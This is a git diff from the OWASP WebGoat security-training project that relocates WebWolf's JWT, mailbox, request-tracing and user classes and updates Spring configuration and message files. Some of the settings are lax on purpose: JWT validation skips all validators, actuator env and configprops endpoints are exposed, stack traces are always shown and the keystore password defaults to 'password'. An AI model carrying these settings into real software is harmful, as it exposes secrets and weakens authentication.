!headers.isEmpty()) + .validToken(true) + .validPayload(!hasText(payloadAsString) || !payload.isEmpty()); + + JsonWebSignature jws = new JsonWebSignature(); + jws.setPayload(payloadAsString); + headers.forEach((k, v) -> jws.setHeader(k, v)); + if (!headers.isEmpty()) { // otherwise e30 meaning {} will be shown as header + builder.encoded( + CompactSerializer.serialize( + new String[] {jws.getHeaders().getEncodedHeader(), jws.getEncodedPayload()})); + } + + // Only sign when valid header and payload + if (!headers.isEmpty() && !payload.isEmpty() && hasText(secretKey)) { + jws.setDoKeyValidation(false); + jws.setKey(new HmacKey(secretKey.getBytes(UTF_8))); + try { + builder.encoded(jws.getCompactSerialization()); + builder.signatureValid(true); + } catch (JoseException e) { + // Do nothing + } + } + return builder.build(); + } + + private static JWTToken parseToken(String jwt) { + var token = jwt.split("\\."); + var builder = JWTToken.builder().encoded(jwt); + + if (token.length >= 2) { + var header = new String(decodeFromUrlSafeString(token[0]), UTF_8); + var payloadAsString = new String(decodeFromUrlSafeString(token[1]), UTF_8); + var headers = parse(header); + var payload = parse(payloadAsString); + builder.header(write(header, headers)); + builder.payload(write(payloadAsString, payload)); + builder.validHeader(!headers.isEmpty()); + builder.validPayload(!payload.isEmpty()); + builder.validToken(!headers.isEmpty() && !payload.isEmpty()); + } else { + builder.validToken(false); + } + return builder.build(); + } + + private static boolean validateSignature(String secretKey, String jwt) { + if (hasText(secretKey)) { + JwtConsumer jwtConsumer = + new JwtConsumerBuilder() + .setSkipAllValidators() + .setVerificationKey(new HmacKey(secretKey.getBytes(UTF_8))) + .setRelaxVerificationKeyValidation() + .build(); + try { + jwtConsumer.processToClaims(jwt); + return true; + } catch (InvalidJwtException e) { + return false; + } + } + return false; + } +} diff --git a/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java b/src/main/java/org/owasp/webgoat/webwolf/mailbox/Email.java similarity index 67% rename from webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java rename to src/main/java/org/owasp/webgoat/webwolf/mailbox/Email.java index 279d8412d..4cca7856b 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java +++ b/src/main/java/org/owasp/webgoat/webwolf/mailbox/Email.java @@ -20,19 +20,18 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webwolf.mailbox; +package org.owasp.webgoat.webwolf.mailbox; import com.fasterxml.jackson.annotation.JsonIgnore; +import java.io.Serializable; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import javax.persistence.*; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; -import javax.persistence.*; -import java.io.Serializable; -import java.time.LocalDateTime; -import java.time.format.DateTimeFormatter; - /** * @author nbaars * @since 8/20/17. @@ -44,31 +43,32 @@ import java.time.format.DateTimeFormatter; @NoArgsConstructor public class Email implements Serializable { - @Id - @GeneratedValue(strategy = GenerationType.IDENTITY) - private Long id; - @JsonIgnore - private LocalDateTime time = LocalDateTime.now(); - @Column(length = 1024) - private String contents; - private String sender; - private String title; - private String recipient; + @Id + @GeneratedValue(strategy = GenerationType.IDENTITY) + private Long id; - public String getSummary() { - return "-" + this.contents.substring(0, Math.min(50, contents.length())); - } + @JsonIgnore private LocalDateTime time = LocalDateTime.now(); - public LocalDateTime getTimestamp() { - return time; - } + @Column(length = 1024) + private String contents; - public String getTime() { - return DateTimeFormatter.ofPattern("h:mm a").format(time); - } + private String sender; + private String title; + private String recipient; - public String getShortSender() { - return sender.substring(0, sender.indexOf("@")); - } + public String getSummary() { + return "-" + this.contents.substring(0, Math.min(50, contents.length())); + } + public LocalDateTime getTimestamp() { + return time; + } + + public String getTime() { + return DateTimeFormatter.ofPattern("h:mm a").format(time); + } + + public String getShortSender() { + return sender.substring(0, sender.indexOf("@")); + } } diff --git a/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java b/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxController.java similarity index 60% rename from webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java rename to src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxController.java index fcbacbcae..6a3640bfd 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java +++ b/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxController.java @@ -20,16 +20,14 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webwolf.mailbox; +package org.owasp.webgoat.webwolf.mailbox; +import java.util.List; import lombok.AllArgsConstructor; import lombok.extern.slf4j.Slf4j; -import org.owasp.webwolf.user.UserRepository; -import org.owasp.webwolf.user.WebGoatUser; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.security.core.context.SecurityContextHolder; -import org.springframework.security.core.userdetails.User; import org.springframework.security.core.userdetails.UserDetails; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; @@ -37,35 +35,30 @@ import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.servlet.ModelAndView; -import java.util.List; -import java.util.concurrent.Callable; - @RestController @AllArgsConstructor @Slf4j public class MailboxController { - private final MailboxRepository mailboxRepository; + private final MailboxRepository mailboxRepository; - @GetMapping(value = "/WebWolf/mail") - public ModelAndView mail() { - UserDetails user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); - ModelAndView modelAndView = new ModelAndView(); - List emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername()); - if (emails != null && !emails.isEmpty()) { - modelAndView.addObject("total", emails.size()); - modelAndView.addObject("emails", emails); - } - modelAndView.setViewName("mailbox"); - return modelAndView; - } - - @PostMapping(value = "/mail") - public Callable> sendEmail(@RequestBody Email email) { - return () -> { - mailboxRepository.save(email); - return ResponseEntity.status(HttpStatus.CREATED).build(); - }; + @GetMapping(value = "/mail") + public ModelAndView mail() { + UserDetails user = + (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + ModelAndView modelAndView = new ModelAndView(); + List emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername()); + if (emails != null && !emails.isEmpty()) { + modelAndView.addObject("total", emails.size()); + modelAndView.addObject("emails", emails); } + modelAndView.setViewName("mailbox"); + return modelAndView; + } + @PostMapping(value = "/mail") + public ResponseEntity sendEmail(@RequestBody Email email) { + mailboxRepository.save(email); + return ResponseEntity.status(HttpStatus.CREATED).build(); + } } diff --git a/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxRepository.java b/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxRepository.java similarity index 92% rename from webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxRepository.java rename to src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxRepository.java index c1cd6df40..b1979ada8 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxRepository.java +++ b/src/main/java/org/owasp/webgoat/webwolf/mailbox/MailboxRepository.java @@ -20,11 +20,10 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webwolf.mailbox; - -import org.springframework.data.jpa.repository.JpaRepository; +package org.owasp.webgoat.webwolf.mailbox; import java.util.List; +import org.springframework.data.jpa.repository.JpaRepository; /** * @author nbaars @@ -32,6 +31,5 @@ import java.util.List; */ public interface MailboxRepository extends JpaRepository { - List findByRecipientOrderByTimeDesc(String recipient); - + List findByRecipientOrderByTimeDesc(String recipient); } diff --git a/webwolf/src/main/java/org/owasp/webwolf/requests/LandingPage.java b/src/main/java/org/owasp/webgoat/webwolf/requests/LandingPage.java similarity index 77% rename from webwolf/src/main/java/org/owasp/webwolf/requests/LandingPage.java rename to src/main/java/org/owasp/webgoat/webwolf/requests/LandingPage.java index 502835e90..6d46c014f 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/requests/LandingPage.java +++ b/src/main/java/org/owasp/webgoat/webwolf/requests/LandingPage.java @@ -20,28 +20,33 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webwolf.requests; +package org.owasp.webgoat.webwolf.requests; +import java.util.concurrent.Callable; +import javax.servlet.http.HttpServletRequest; import lombok.extern.slf4j.Slf4j; import org.springframework.http.ResponseEntity; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; -import javax.servlet.http.HttpServletRequest; -import java.util.concurrent.Callable; - @Controller @Slf4j @RequestMapping("/landing/**") public class LandingPage { - @RequestMapping(method = {RequestMethod.POST, RequestMethod.GET, RequestMethod.DELETE, RequestMethod.PATCH, RequestMethod.PUT}) - public Callable> ok(HttpServletRequest request) { - return () -> { - log.trace("Incoming request for: {}", request.getRequestURL()); - return ResponseEntity.ok().build(); - }; - } - + @RequestMapping( + method = { + RequestMethod.POST, + RequestMethod.GET, + RequestMethod.DELETE, + RequestMethod.PATCH, + RequestMethod.PUT + }) + public Callable> ok(HttpServletRequest request) { + return () -> { + log.trace("Incoming request for: {}", request.getRequestURL()); + return ResponseEntity.ok().build(); + }; + } } diff --git a/webwolf/src/main/java/org/owasp/webwolf/requests/Requests.java b/src/main/java/org/owasp/webgoat/webwolf/requests/Requests.java similarity index 51% rename from webwolf/src/main/java/org/owasp/webwolf/requests/Requests.java rename to src/main/java/org/owasp/webgoat/webwolf/requests/Requests.java index 5cffdc9cc..f510ed7e9 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/requests/Requests.java +++ b/src/main/java/org/owasp/webgoat/webwolf/requests/Requests.java @@ -20,14 +20,17 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webwolf.requests; +package org.owasp.webgoat.webwolf.requests; + +import static java.util.stream.Collectors.toList; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; +import java.time.Instant; import lombok.AllArgsConstructor; import lombok.Getter; +import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; - import org.apache.commons.lang3.StringUtils; import org.springframework.boot.actuate.trace.http.HttpTrace; import org.springframework.boot.actuate.trace.http.HttpTrace.Request; @@ -38,70 +41,70 @@ import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.servlet.ModelAndView; -import java.time.Instant; -import java.util.List; - -import static java.util.stream.Collectors.toList; - /** - * Controller for fetching all the HTTP requests from WebGoat to WebWolf for a specific - * user. + * Controller for fetching all the HTTP requests from WebGoat to WebWolf for a specific user. * * @author nbaars * @since 8/13/17. */ @Controller -@AllArgsConstructor +@RequiredArgsConstructor @Slf4j -@RequestMapping(value = "/WebWolf/requests") +@RequestMapping(value = "/requests") public class Requests { - private final WebWolfTraceRepository traceRepository; - private final ObjectMapper objectMapper; + private final WebWolfTraceRepository traceRepository; + private final ObjectMapper objectMapper; - @AllArgsConstructor - @Getter - private class Tracert { - private final Instant date; - private final String path; - private final String json; + @AllArgsConstructor + @Getter + private class Tracert { + private final Instant date; + private final String path; + private final String json; + } + + @GetMapping + public ModelAndView get() { + var model = new ModelAndView("requests"); + var user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + var traces = + traceRepository.findAllTraces().stream() + .filter(t -> allowedTrace(t, user)) + .map(t -> new Tracert(t.getTimestamp(), path(t), toJsonString(t))) + .collect(toList()); + model.addObject("traces", traces); + + return model; + } + + private boolean allowedTrace(HttpTrace t, UserDetails user) { + Request req = t.getRequest(); + boolean allowed = true; + /* do not show certain traces to other users in a classroom setup */ + if (req.getUri().getPath().contains("/files") + && !req.getUri().getPath().contains(user.getUsername())) { + allowed = false; + } else if (req.getUri().getPath().contains("/landing") + && req.getUri().getQuery() != null + && req.getUri().getQuery().contains("uniqueCode") + && !req.getUri().getQuery().contains(StringUtils.reverse(user.getUsername()))) { + allowed = false; } - @GetMapping - public ModelAndView get() { - ModelAndView m = new ModelAndView("requests"); - UserDetails user = (UserDetails) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); - List traces = traceRepository.findAllTraces().stream() - .filter(t -> allowedTrace(t, user)) - .map(t -> new Tracert(t.getTimestamp(), path(t), toJsonString(t))).collect(toList()); - m.addObject("traces", traces); + return allowed; + } - return m; - } - - private boolean allowedTrace(HttpTrace t, UserDetails user) { - Request req = t.getRequest(); - boolean allowed = true; - /* do not show certain traces to other users in a classroom setup */ - if (req.getUri().getPath().contains("/files") && !req.getUri().getPath().contains(user.getUsername())) { - allowed = false; - } else if (req.getUri().getPath().contains("/landing") && req.getUri().getQuery()!=null && req.getUri().getQuery().contains("uniqueCode") && !req.getUri().getQuery().contains(StringUtils.reverse(user.getUsername()))) { - allowed = false; - } - - return allowed; - } + private String path(HttpTrace t) { + return (String) t.getRequest().getUri().getPath(); + } - private String path(HttpTrace t) { - return (String) t.getRequest().getUri().getPath(); - } - - private String toJsonString(HttpTrace t) { - try { - return objectMapper.writeValueAsString(t); - } catch (JsonProcessingException e) { - log.error("Unable to create json", e); - } - return "No request(s) found"; + private String toJsonString(HttpTrace t) { + try { + return objectMapper.writeValueAsString(t); + } catch (JsonProcessingException e) { + log.error("Unable to create json", e); } + return "No request(s) found"; + } } diff --git a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java b/src/main/java/org/owasp/webgoat/webwolf/requests/WebWolfTraceRepository.java similarity index 63% rename from webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java rename to src/main/java/org/owasp/webgoat/webwolf/requests/WebWolfTraceRepository.java index 6a0054389..bba73a890 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java +++ b/src/main/java/org/owasp/webgoat/webwolf/requests/WebWolfTraceRepository.java @@ -20,16 +20,15 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webwolf.requests; +package org.owasp.webgoat.webwolf.requests; import com.google.common.collect.EvictingQueue; -import com.google.common.collect.Lists; +import java.util.ArrayList; +import java.util.List; import lombok.extern.slf4j.Slf4j; import org.springframework.boot.actuate.trace.http.HttpTrace; import org.springframework.boot.actuate.trace.http.HttpTraceRepository; -import java.util.List; - /** * Keep track of all the incoming requests, we are only keeping track of request originating from * WebGoat. @@ -40,27 +39,38 @@ import java.util.List; @Slf4j public class WebWolfTraceRepository implements HttpTraceRepository { - private final EvictingQueue traces = EvictingQueue.create(10000); - private List exclusionList = Lists.newArrayList("/tmpdir", "/WebWolf/home", "/WebWolf/mail", "/WebWolf/files", "/images/", "/login", "/favicon.ico", "/js/", "/webjars/", "/WebWolf/requests", "/css/", "/mail"); + private final EvictingQueue traces = EvictingQueue.create(10000); + private final List exclusionList = + List.of( + "/tmpdir", + "/home", + "/files", + "/images/", + "/favicon.ico", + "/js/", + "/webjars/", + "/requests", + "/css/", + "/mail"); - @Override - public List findAll() { - return List.of(); - } + @Override + public List findAll() { + return List.of(); + } - public List findAllTraces() { - return Lists.newArrayList(traces); - } + public List findAllTraces() { + return new ArrayList<>(traces); + } - private boolean isInExclusionList(String path) { - return exclusionList.stream().anyMatch(e -> path.contains(e)); - } + private boolean isInExclusionList(String path) { + return exclusionList.stream().anyMatch(e -> path.contains(e)); + } - @Override - public void add(HttpTrace httpTrace) { - var path = httpTrace.getRequest().getUri().getPath(); - if (!isInExclusionList(path)) { - traces.add(httpTrace); - } + @Override + public void add(HttpTrace httpTrace) { + var path = httpTrace.getRequest().getUri().getPath(); + if (!isInExclusionList(path)) { + traces.add(httpTrace); } + } } diff --git a/webwolf/src/main/java/org/owasp/webwolf/user/UserRepository.java b/src/main/java/org/owasp/webgoat/webwolf/user/UserRepository.java similarity index 93% rename from webwolf/src/main/java/org/owasp/webwolf/user/UserRepository.java rename to src/main/java/org/owasp/webgoat/webwolf/user/UserRepository.java index cd4229908..c7e87b559 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/user/UserRepository.java +++ b/src/main/java/org/owasp/webgoat/webwolf/user/UserRepository.java @@ -20,7 +20,7 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webwolf.user; +package org.owasp.webgoat.webwolf.user; import org.springframework.data.jpa.repository.JpaRepository; @@ -30,5 +30,5 @@ import org.springframework.data.jpa.repository.JpaRepository; */ public interface UserRepository extends JpaRepository { - WebGoatUser findByUsername(String username); + WebGoatUser findByUsername(String username); } diff --git a/webwolf/src/main/java/org/owasp/webwolf/user/UserService.java b/src/main/java/org/owasp/webgoat/webwolf/user/UserService.java similarity index 63% rename from webwolf/src/main/java/org/owasp/webwolf/user/UserService.java rename to src/main/java/org/owasp/webgoat/webwolf/user/UserService.java index ea3dd190e..a57980e9c 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/user/UserService.java +++ b/src/main/java/org/owasp/webgoat/webwolf/user/UserService.java @@ -20,11 +20,8 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webwolf.user; +package org.owasp.webgoat.webwolf.user; -import lombok.AllArgsConstructor; - -import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.core.userdetails.UserDetailsService; import org.springframework.security.core.userdetails.UsernameNotFoundException; import org.springframework.stereotype.Service; @@ -36,24 +33,23 @@ import org.springframework.stereotype.Service; @Service public class UserService implements UserDetailsService { - private UserRepository userRepository; + private UserRepository userRepository; - public UserService(UserRepository userRepository) { - this.userRepository = userRepository; + public UserService(UserRepository userRepository) { + this.userRepository = userRepository; + } + + @Override + public WebGoatUser loadUserByUsername(final String username) throws UsernameNotFoundException { + WebGoatUser webGoatUser = userRepository.findByUsername(username); + if (webGoatUser == null) { + throw new UsernameNotFoundException("User not found"); } + webGoatUser.createUser(); + return webGoatUser; + } - @Override - public WebGoatUser loadUserByUsername(final String username) throws UsernameNotFoundException { - WebGoatUser webGoatUser = userRepository.findByUsername(username); - if (webGoatUser == null) { - throw new UsernameNotFoundException("User not found"); - } - webGoatUser.createUser(); - return webGoatUser; - } - - - public void addUser(final String username, final String password) { - userRepository.save(new WebGoatUser(username, password)); - } + public void addUser(final String username, final String password) { + userRepository.save(new WebGoatUser(username, password)); + } } diff --git a/webwolf/src/main/java/org/owasp/webwolf/user/WebGoatUser.java b/src/main/java/org/owasp/webgoat/webwolf/user/WebGoatUser.java similarity index 55% rename from webwolf/src/main/java/org/owasp/webwolf/user/WebGoatUser.java rename to src/main/java/org/owasp/webgoat/webwolf/user/WebGoatUser.java index b3286a2fa..d432ff925 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/user/WebGoatUser.java +++ b/src/main/java/org/owasp/webgoat/webwolf/user/WebGoatUser.java @@ -20,19 +20,17 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webwolf.user; - -import lombok.Getter; -import org.springframework.security.core.GrantedAuthority; -import org.springframework.security.core.authority.SimpleGrantedAuthority; -import org.springframework.security.core.userdetails.User; -import org.springframework.security.core.userdetails.UserDetails; +package org.owasp.webgoat.webwolf.user; +import java.util.Collection; +import java.util.Collections; import javax.persistence.Entity; import javax.persistence.Id; import javax.persistence.Transient; -import java.util.Collection; -import java.util.Collections; +import lombok.Getter; +import org.springframework.security.core.GrantedAuthority; +import org.springframework.security.core.userdetails.User; +import org.springframework.security.core.userdetails.UserDetails; /** * @author nbaars @@ -42,52 +40,43 @@ import java.util.Collections; @Entity public class WebGoatUser implements UserDetails { - public static final String ROLE_USER = "WEBGOAT_USER"; - public static final String ROLE_ADMIN = "WEBGOAT_ADMIN"; + @Id private String username; + private String password; + @Transient private User user; - @Id - private String username; - private String password; - private String role = ROLE_USER; - @Transient - private User user; + protected WebGoatUser() {} - protected WebGoatUser() { - } + public WebGoatUser(String username, String password) { + this.username = username; + this.password = password; + createUser(); + } - public WebGoatUser(String username, String password) { - this.username = username; - this.password = password; - createUser(); - } + public void createUser() { + this.user = new User(username, password, getAuthorities()); + } - public void createUser() { - this.user = new User(username, password, getAuthorities()); - } + public Collection getAuthorities() { + return Collections.emptyList(); + } - public Collection getAuthorities() { - return Collections.singleton(new SimpleGrantedAuthority(getRole())); - } + @Override + public boolean isAccountNonExpired() { + return this.user.isAccountNonExpired(); + } - @Override - public boolean isAccountNonExpired() { - return this.user.isAccountNonExpired(); - } + @Override + public boolean isAccountNonLocked() { + return this.user.isAccountNonLocked(); + } - @Override - public boolean isAccountNonLocked() { - return this.user.isAccountNonLocked(); - } + @Override + public boolean isCredentialsNonExpired() { + return this.user.isCredentialsNonExpired(); + } - @Override - public boolean isCredentialsNonExpired() { - return this.user.isCredentialsNonExpired(); - } - - @Override - public boolean isEnabled() { - return this.user.isEnabled(); - } + @Override + public boolean isEnabled() { + return this.user.isEnabled(); + } } - - diff --git a/webgoat-container/src/main/resources/application-webgoat.properties b/src/main/resources/application-webgoat.properties similarity index 79% rename from webgoat-container/src/main/resources/application-webgoat.properties rename to src/main/resources/application-webgoat.properties index e2918e640..cd217395c 100644 --- a/webgoat-container/src/main/resources/application-webgoat.properties +++ b/src/main/resources/application-webgoat.properties @@ -2,9 +2,10 @@ server.error.include-stacktrace=always server.error.path=/error.html server.servlet.context-path=/WebGoat server.servlet.session.persistent=false -server.port=${WEBGOAT_PORT:8080} -server.address=${WEBGOAT_HOST:127.0.0.1} - +server.port=${webgoat.port:8080} +server.address=${webgoat.host} +webgoat.host=${WEBGOAT_HOST:127.0.0.1} +spring.application.name=WebGoat server.ssl.key-store-type=${WEBGOAT_KEYSTORE_TYPE:PKCS12} server.ssl.key-store=${WEBGOAT_KEYSTORE:classpath:goatkeystore.pkcs12} @@ -12,11 +13,11 @@ server.ssl.key-store-password=${WEBGOAT_KEYSTORE_PASSWORD:password} server.ssl.key-alias=${WEBGOAT_KEY_ALIAS:goat} server.ssl.enabled=${WEBGOAT_SSLENABLED:false} -hsqldb.port=${WEBGOAT_HSQLPORT:9001} -spring.datasource.url=jdbc:hsqldb:hsql://${server.address}:${hsqldb.port}/webgoat +spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/webgoat spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver spring.jpa.properties.hibernate.default_schema=CONTAINER +spring.banner.location=classpath:banner.txt logging.level.org.thymeleaf=INFO logging.level.org.thymeleaf.TemplateEngine.CONFIG=INFO @@ -28,7 +29,6 @@ logging.level.org.springframework.boot.devtools=INFO logging.level.org.owasp=DEBUG logging.level.org.owasp.webgoat=DEBUG -webgoat.start.hsqldb=true webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/ webgoat.user.directory=${user.home}/.webgoat-${webgoat.build.version}/ webgoat.build.version=@project.version@ @@ -41,9 +41,9 @@ webgoat.default.language=en webwolf.host=${WEBWOLF_HOST:127.0.0.1} webwolf.port=${WEBWOLF_PORT:9090} -webwolf.url=http://${webwolf.host}:${webwolf.port}/WebWolf -webwolf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing -webwolf.url.mail=http://${webwolf.host}:${webwolf.port}/mail +webwolf.url=http://${webwolf.host}:${webwolf.port} +webwolf.landingpage.url=${webwolf.url}/landing +webwolf.mail.url=${webwolf.url}/mail spring.jackson.serialization.indent_output=true spring.jackson.serialization.write-dates-as-timestamps=false @@ -55,4 +55,8 @@ exclude.categories=${EXCLUDE_CATEGORIES:none,none} #exclude based on the enum of the Category exclude.lessons=${EXCLUDE_LESSONS:none,none} -#exclude based on the class name of a lesson e.g.: LessonTemplate \ No newline at end of file +#exclude based on the class name of a lesson e.g.: LessonTemplate + +management.health.db.enabled=true +management.endpoint.health.show-details=always +management.endpoints.web.exposure.include=env, health,configprops diff --git a/webwolf/src/main/resources/application-webwolf.properties b/src/main/resources/application-webwolf.properties similarity index 80% rename from webwolf/src/main/resources/application-webwolf.properties rename to src/main/resources/application-webwolf.properties index 755be1dc8..eedc0599b 100644 --- a/webwolf/src/main/resources/application-webwolf.properties +++ b/src/main/resources/application-webwolf.properties @@ -1,17 +1,23 @@ server.error.include-stacktrace=always server.error.path=/error.html +server.port=${webwolf.port:9090} +server.address=${webwolf.host} +spring.application.name=WebWolf -#server.contextPath=/WebWolf -server.port=${WEBWOLF_PORT:9090} -server.address=${WEBWOLF_HOST:127.0.0.1} +webwolf.host=${WEBWOLF_HOST:127.0.0.1} + +management.server.port=-1 server.servlet.session.cookie.name=WEBWOLFSESSION server.servlet.session.timeout=6000 +spring.flyway.enabled=false -spring.datasource.url=jdbc:hsqldb:hsql://${WEBGOAT_HOST:127.0.0.1}:${WEBGOAT_HSQLPORT:9001}/webgoat +spring.thymeleaf.prefix=classpath:/webwolf/templates/ + + +spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/webgoat +spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver spring.jpa.properties.hibernate.default_schema=CONTAINER -spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect -spring.jpa.hibernate.ddl-auto=update spring.messages.basename=i18n/messages spring.jmx.enabled=false diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt new file mode 100644 index 000000000..4afc67dea --- /dev/null +++ b/src/main/resources/banner.txt @@ -0,0 +1,6 @@ + __ __ _ _____ _ + \ \ / / | | / ____| | | + \ \ /\ / / ___ | |__ | | __ ___ __ _ | |_ + \ \/ \/ / / _ \ | '_ \ | | |_ | / _ \ / _' | | __| + \ /\ / | __/ | |_) | | |__| | | (_) | | (_| | | |_ + \/ \/ \___| |_.__/ \_____| \___/ \__,_| \__| diff --git a/webgoat-container/src/main/resources/db/container/V1__init.sql b/src/main/resources/db/container/V1__init.sql similarity index 100% rename from webgoat-container/src/main/resources/db/container/V1__init.sql rename to src/main/resources/db/container/V1__init.sql diff --git a/webgoat-container/src/main/resources/db/container/V2__version.sql b/src/main/resources/db/container/V2__version.sql similarity index 100% rename from webgoat-container/src/main/resources/db/container/V2__version.sql rename to src/main/resources/db/container/V2__version.sql diff --git a/webgoat-container/src/main/resources/goatkeystore.pkcs12 b/src/main/resources/goatkeystore.pkcs12 similarity index 100% rename from webgoat-container/src/main/resources/goatkeystore.pkcs12 rename to src/main/resources/goatkeystore.pkcs12 diff --git a/webgoat-container/src/main/resources/i18n/messages.properties b/src/main/resources/i18n/messages.properties similarity index 69% rename from webgoat-container/src/main/resources/i18n/messages.properties rename to src/main/resources/i18n/messages.properties index d58990c3e..5e86bade2 100644 --- a/webgoat-container/src/main/resources/i18n/messages.properties +++ b/src/main/resources/i18n/messages.properties @@ -51,13 +51,25 @@ show.hints=Show hints lesson.overview=Lesson overview reset.lesson=Reset lesson sign.in=Sign in -register.new=Register new user +register.new=or register yourself as a new user sign.up=Sign up register.title=Register +searchmenu=Search lesson not.empty=This field is required. username.size=Please use between 6 and 10 characters. username.duplicate=User already exists. password.size=Password should at least contain 6 characters -password.diff=The passwords do not match. \ No newline at end of file +password.diff=The passwords do not match. +security.enabled=Security enabled, you can try the previous challenges and see the effect! +security.disabled=Security enabled, you can try the previous challenges and see the effect! +termsofuse=Terms of use +register.condition.1=While running this program your machine will be extremely vulnerable to attack.\ + You should disconnect from the Internet while using this program. WebGoat's default configuration binds to localhost to minimize the exposure. +register.condition.2=This program is for educational purposes only. If you attempt \ +these techniques without authorization, you are very likely to get caught. If \ +you are caught engaging in unauthorized hacking, most companies will fire you. \ +Claiming that you were doing security research will not work as that is the \ +first thing that all hackers claim. +terms.agree=Agree with the terms and conditions diff --git a/webgoat-container/src/main/resources/i18n/messages_de.properties b/src/main/resources/i18n/messages_de.properties similarity index 73% rename from webgoat-container/src/main/resources/i18n/messages_de.properties rename to src/main/resources/i18n/messages_de.properties index 152981238..13a8b1f2f 100644 --- a/webgoat-container/src/main/resources/i18n/messages_de.properties +++ b/src/main/resources/i18n/messages_de.properties @@ -24,9 +24,18 @@ # #General -LessonCompleted=Herzlichen Gl\u00fcckwunsch! Sie haben diese Lektion erfolgreich abgeschlossen. -RestartLesson=Lektion neu beginnen +lesson.completed=Herzlichen Gl\u00fcckwunsch! Sie haben diese Lektion erfolgreich abgeschlossen. +assignment.solved=Herzlichen Gl\u00fcckwunsch! Sie haben diesen Auftrag erfolgreich abgeschlossen. +assignment.not.solved=Die L\u00f6sung ist nicht korrekt, versuchen Sie es erneut. + +reset.lesson=Lektion neu anfangen SolutionVideos=L\u00f6sungsvideos ErrorGenerating=Fehler beim Generieren von InvalidData=Ung\u00fcltige Daten Go!=Los gehts! +username=Benutzername +password=Passwort +password.confirm=Wiederhohl Passwort +sign.up=Anmelden +register.title=Registrieren + diff --git a/webgoat-container/src/main/resources/i18n/messages_fr.properties b/src/main/resources/i18n/messages_fr.properties similarity index 91% rename from webgoat-container/src/main/resources/i18n/messages_fr.properties rename to src/main/resources/i18n/messages_fr.properties index 340a11bd7..737c207fc 100644 --- a/webgoat-container/src/main/resources/i18n/messages_fr.properties +++ b/src/main/resources/i18n/messages_fr.properties @@ -24,9 +24,9 @@ # #General -LessonCompleted=F\u00e9licitations. Vous avez termin\u00e9 cette le\u00e7on avec succ\u00e9s. +lesson.completed=F\u00e9licitations. Vous avez termin\u00e9 cette le\u00e7on avec succ\u00e9s. RestartLesson=Recommencer cette le\u00e7on SolutionVideos=Solution vid\u00e9os ErrorGenerating=Error generating InvalidData=Donn\u00e9e invalide -Go!=Go! +Go!=Allez le faire! diff --git a/webgoat-container/src/main/resources/i18n/messages_nl.properties b/src/main/resources/i18n/messages_nl.properties similarity index 63% rename from webgoat-container/src/main/resources/i18n/messages_nl.properties 